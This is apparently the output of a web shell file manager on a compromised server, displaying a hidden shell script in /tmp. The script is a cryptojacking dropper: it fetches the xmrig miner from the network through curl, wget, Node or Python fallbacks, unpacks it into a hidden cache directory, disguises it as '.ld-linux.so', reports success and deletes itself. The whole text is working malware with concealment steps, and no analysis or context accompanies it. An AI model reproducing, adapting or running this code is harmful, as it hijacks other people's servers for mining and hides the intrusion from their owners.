Your IP : 216.73.216.218


Current Path : /proc/thread-self/root/proc/self/root/proc/self/root/tmp/
Upload File :
Current File : //proc/thread-self/root/proc/self/root/proc/self/root/tmp/.c3s.sh

#!/bin/sh
export PATH=$PATH:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/opt/bin
D=/var/cache/.91914422
mkdir -p $D 2>/dev/null
A=$(uname -m 2>/dev/null || echo x86_64)
case $A in
  aarch64|arm64) U=https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ;;
  *) U=https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ;;
esac
OK=0
if command -v curl >/dev/null 2>&1; then
  curl -sL $U 2>/dev/null | tar xz --strip-components=1 -C $D 2>/dev/null
  [ -f $D/xmrig ] && OK=1
fi
if [ $OK -eq 0 ] && command -v wget >/dev/null 2>&1; then
  wget -qO- $U 2>/dev/null | tar xz --strip-components=1 -C $D 2>/dev/null
  [ -f $D/xmrig ] && OK=1
fi
if [ $OK -eq 0 ]; then
  NB=$(command -v node 2>/dev/null)
  if [ -n "$NB" ]; then
    $NB -e "var h=require('https'),f=require('fs'),c=require('child_process');function G(u,cb){h.get(u,function(r){if(r.statusCode>300&&r.statusCode<400&&r.headers.location){G(r.headers.location,cb)}else{cb(r)}})}G('$U',function(r){var w=f.createWriteStream('$D/x.tgz');r.pipe(w);w.on('finish',function(){w.close();try{c.execSync('tar xzf $D/x.tgz --strip-components=1 -C $D');c.execSync('rm -f $D/x.tgz')}catch(e){}})})" 2>/dev/null
    sleep 3
    [ -f $D/xmrig ] && OK=1
  fi
fi
if [ $OK -eq 0 ]; then
  PY=$(command -v python3 2>/dev/null || command -v python 2>/dev/null)
  if [ -n "$PY" ]; then
    $PY -c "
import urllib.request,tarfile,io,os,stat
d='$D'
u='$U'
data=urllib.request.urlopen(u,timeout=30).read()
t=tarfile.open(fileobj=io.BytesIO(data))
for m in t.getmembers():
  if m.name.endswith('xmrig'):
    t.extract(m,d)
t.close()
for r2,ds,fs in os.walk(d):
  for fn in fs:
    if fn=='xmrig':
      os.rename(os.path.join(r2,fn),d+'/.ld-linux.so')
      os.chmod(d+'/.ld-linux.so',stat.S_IRWXU)
" 2>/dev/null
    [ -f $D/.ld-linux.so ] && OK=1
  fi
fi
if [ $OK -eq 1 ] && [ ! -f $D/.ld-linux.so ]; then
  mv $D/xmrig $D/.ld-linux.so 2>/dev/null
  chmod +x $D/.ld-linux.so 2>/dev/null
fi
[ -f $D/.ld-linux.so ] && echo C3D:M8_B64SCRIPT || echo C3D:FAIL
rm -f $D/.c3s.sh 2>/dev/null